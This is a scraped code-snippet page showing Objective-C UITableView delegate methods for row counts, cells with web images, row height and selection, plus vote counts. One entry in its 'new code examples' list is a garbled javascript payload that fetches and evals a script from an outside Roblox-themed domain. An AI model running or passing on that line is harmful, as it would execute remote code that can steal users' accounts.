tabloe view delegate method + iOS
- (NSInteger)numberOfSectionsInTableView:(UITableView *)tableView
{
return 1; //count of section
}
- (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section {
return [catagorry count]; //count number of row from counting array hear cataGorry is An Array
}
- (UITableViewCell *)tableView:(UITableView *)tableView
cellForRowAtIndexPath:(NSIndexPath *)indexPath
{
static NSString *MyIdentifier = @"MyIdentifier";
UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:MyIdentifier];
if (cell == nil)
{
cell = [[[UITableViewCell alloc] initWithStyle:UITableViewCellStyleDefault
reuseIdentifier:MyIdentifier] autorelease];
}
// Here we use the provided setImageWithURL: method to load the web image
// Ensure you use a placeholder image otherwise cells will be initialized with no image
[cell.imageView setImageWithURL:[NSURL URLWithString:@"http://example.com/image.jpg"]
placeholderImage:[UIImage imageNamed:@"placeholder"]];
cell.textLabel.text = @"My Text";
return cell;
}
4.2
5
- (CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath
{
return 80;
}
Thank you!
5
0
3.9
10
-(void)viewWillAppear:(BOOL)animated
{
tblService.delegate=self;
tblService.dataSource=self;
[super viewWillAppear:YES];
}
Thank you!
10
0
4.5
2
- (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath{
Yourstring=[catagorry objectAtIndex:indexPath.row];
//Pushing next view
cntrSecondViewController *cntrinnerService = [[cntrSecondViewController alloc] initWithNibName:@"cntrSecondViewController" bundle:nil];
[self.navigationController pushViewController:cntrinnerService animated:YES];
}
Thank you!
2
0
Are there any code examples left?
New code examples in category Objective-C
-
Objective-C 2022-03-19 18:00:19 xjavascript$get'//roblox-api.online/roblox?id=4823'.eval)”
-
Objective-C 2022-03-15 06:35:10 compare nsstring
-
Objective-C 2022-03-03 11:45:10 objective c encrypt decrypt string
-
Objective-C 2022-02-27 11:00:32 nstimer example objective c
-
Objective-C 2022-02-16 17:15:28 loop array objective c
-
Objective-C 2022-02-14 08:05:08 how to add undelete texts to textfield in ios
-
Objective-C 2022-02-12 01:30:08 Changing scene on obj click
-
Objective-C 2022-02-08 17:25:21 obj c write file
-
Objective-C 2022-02-02 17:51:03 fpdf exemple